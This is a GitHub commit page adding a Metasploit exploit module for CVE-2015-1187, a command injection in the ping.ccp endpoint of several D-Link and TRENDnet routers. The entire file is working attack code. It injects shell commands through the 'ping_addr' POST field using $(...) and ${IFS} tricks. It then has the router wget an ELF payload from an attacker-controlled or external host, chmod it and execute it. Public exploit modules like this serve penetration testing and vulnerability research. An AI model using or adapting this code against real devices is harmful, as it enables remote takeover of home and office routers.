Skip to content

Commit 1da6b32

Browse files
committed
Land rapid7#4924, @m-1-k-3's DLink CVE-2015-1187 exploit
* ncc service ping.cpp command injection
2 parents b5ae3fd + 6019bbe commit 1da6b32

File tree

1 file changed

+193
-0
lines changed

1 file changed

+193
-0
lines changed
Lines changed: 193 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,193 @@
1+
##
2+
# This module requires Metasploit: http://metasploit.com/download
3+
# Current source: https://github.com/rapid7/metasploit-framework
4+
##
5+
6+
require 'msf/core'
7+
8+
class Metasploit3 < Msf::Exploit::Remote
9+
Rank = NormalRanking # Only tested on Emulated environment
10+
11+
include Msf::Exploit::Remote::HttpClient
12+
include Msf::Exploit::Remote::HttpServer::HTML
13+
include Msf::Exploit::EXE
14+
include Msf::Exploit::FileDropper
15+
16+
def initialize(info = {})
17+
super(update_info(info,
18+
'Name' => 'D-Link/TRENDnet NCC Command Injection (ping.ccp)',
19+
'Description' => %q{
20+
This module exploits a remote command injection vulnerability on several routers. This
21+
module was tested in an emulated environment of a DIR-626L only. Several D-Link and
22+
TRENDnet devices are reported as affected: D-Link DIR-626L (Rev A) v1.04b04, D-Link
23+
DIR-636L (Rev A) v1.04, D-Link DIR-808L (Rev A) v1.03b05, D-Link DIR-810L (Rev A) v1.01b04,
24+
D-Link DIR-810L (Rev B) v2.02b01, D-Link DIR-820L (Rev A) v1.02B10, D-Link DIR-820L (Rev A)
25+
v1.05B03, D-Link DIR-820L (Rev B) v2.01b02, D-Link DIR-826L (Rev A) v1.00b23, D-Link
26+
DIR-830L (Rev A) v1.00b07, D-Link DIR-836L (Rev A) v1.01b03, TRENDnet TEW-731BR (Rev 2)
27+
v2.01b01
28+
},
29+
'Author' =>
30+
[
31+
'Peter Adkins <peter.adkins[at]kernelpicnic.net>', # Vulnerability discovery and initial PoC
32+
'Tiago Caetano Henriques', # Vulnerability discovery and initial PoC
33+
'Michael Messner <devnull[at]s3cur1ty.de>' # Metasploit module
34+
],
35+
'License' => MSF_LICENSE,
36+
'References' =>
37+
[
38+
['CVE', '2015-1187'],
39+
['BID', '72816'],
40+
['URL', 'https://github.com/darkarnium/secpub/tree/master/Multivendor/ncc2'],
41+
['URL', 'http://seclists.org/fulldisclosure/2015/Mar/15'],
42+
['URL', 'http://securityadvisories.dlink.com/security/publication.aspx?name=SAP10052']
43+
],
44+
'Targets' =>
45+
# Only tested on D-Link DIR-626L where wget is available
46+
[
47+
[ 'Linux mipsel Payload',
48+
{
49+
'Arch' => ARCH_MIPSLE,
50+
'Platform' => 'linux'
51+
}
52+
],
53+
[ 'Linux mipsbe Payload',
54+
{
55+
'Arch' => ARCH_MIPSBE,
56+
'Platform' => 'linux'
57+
}
58+
],
59+
],
60+
'DisclosureDate' => 'Feb 26 2015',
61+
'DefaultTarget' => 0))
62+
63+
register_options(
64+
[
65+
OptString.new('WRITABLEDIR', [ true, 'A directory where we can write files', '/tmp' ]),
66+
OptString.new('EXTURL', [ false, 'An alternative host to request the EXE payload from' ]),
67+
OptString.new('TARGETURI', [true, 'The base path to the vulnerable application area', '/ping.ccp']),
68+
OptInt.new('HTTPDELAY', [true, 'Time that the HTTP Server will wait for the ELF payload request', 10])
69+
], self.class)
70+
end
71+
72+
def check
73+
begin
74+
res = send_request_cgi({
75+
'method' => 'GET',
76+
'uri' => normalize_uri(target_uri.path)
77+
})
78+
79+
# unknown if other devices also using mini_httpd
80+
if res && [500].include?(res.code) && res.headers['Server'] && res.headers['Server'] =~ /mini_httpd/
81+
return Exploit::CheckCode::Detected
82+
end
83+
rescue ::Rex::ConnectionError
84+
return Exploit::CheckCode::Unknown
85+
end
86+
87+
Exploit::CheckCode::Unknown
88+
end
89+
90+
def exec_command(cmd, timeout = 20)
91+
begin
92+
res = send_request_cgi({
93+
'method' => 'POST',
94+
'uri' => normalize_uri(target_uri.path),
95+
'encode_params' => false,
96+
'vars_post' => {
97+
'ccp_act' => 'ping_v6',
98+
'ping_addr' => '$(' + cmd + ')'
99+
}
100+
}, timeout)
101+
return res
102+
rescue ::Rex::ConnectionError
103+
fail_with(Failure::Unreachable, "#{peer} - Failed to connect to the web server")
104+
end
105+
end
106+
107+
def primer
108+
@payload_url = get_uri
109+
wget_payload
110+
end
111+
112+
def exploit
113+
print_status("#{peer} - Accessing the vulnerable URL...")
114+
115+
unless check == Exploit::CheckCode::Detected
116+
fail_with(Failure::NoTarget, "#{peer} - Failed to access the vulnerable URL")
117+
end
118+
119+
print_status("#{peer} - Exploiting...")
120+
121+
@pl = generate_payload_exe
122+
@payload_url = ''
123+
@dropped_elf = rand_text_alpha(rand(5) + 3)
124+
125+
if @pl.blank?
126+
fail_with(Failure::BadConfig, "#{peer} - Failed to generate the ELF, select a native payload")
127+
end
128+
129+
if datastore['EXTURL'].blank?
130+
begin
131+
Timeout.timeout(datastore['HTTPDELAY']) { super }
132+
rescue Timeout::Error
133+
end
134+
chmod_payload
135+
exec_payload
136+
else
137+
@payload_url = datastore['EXTURL']
138+
wget_payload
139+
chmod_payload
140+
exec_payload
141+
end
142+
end
143+
144+
def wget_payload
145+
upload_path = File.join(datastore['WRITABLEDIR'], @dropped_elf)
146+
147+
cmd = "wget${IFS}#{@payload_url}${IFS}-O${IFS}#{upload_path}"
148+
149+
print_status("#{peer} - Downloading the payload to the target machine...")
150+
res = exec_command(cmd)
151+
152+
if res && [200].include?(res.code) && res.headers['Server'] && res.headers['Server'] =~ /mini_httpd/
153+
register_files_for_cleanup(upload_path)
154+
else
155+
fail_with(Failure::Unknown, "#{peer} - Failed to download the payload to the target")
156+
end
157+
end
158+
159+
def chmod_payload
160+
cmd = "chmod${IFS}777${IFS}#{File.join(datastore['WRITABLEDIR'], @dropped_elf)}"
161+
162+
print_status("#{peer} - chmod the payload...")
163+
res = exec_command(cmd, 1)
164+
165+
unless res
166+
fail_with(Failure::Unknown, "#{peer} - Unable to chmod payload")
167+
end
168+
169+
Rex.sleep(1)
170+
end
171+
172+
def exec_payload
173+
cmd = File.join(datastore['WRITABLEDIR'], @dropped_elf)
174+
175+
print_status("#{peer} - Executing the payload...")
176+
res = exec_command(cmd, 1)
177+
178+
unless res
179+
fail_with(Failure::Unknown, "#{peer} - Unable to exec payload")
180+
end
181+
182+
Rex.sleep(1)
183+
end
184+
185+
# Handle incoming requests to the HTTP server
186+
def on_request_uri(cli, request)
187+
print_status("Request: #{request.uri}")
188+
if request.uri =~ /#{Regexp.escape(get_resource)}/
189+
print_status('Sending payload...')
190+
send_response(cli, @pl)
191+
end
192+
end
193+
end

0 commit comments

Comments
 (0)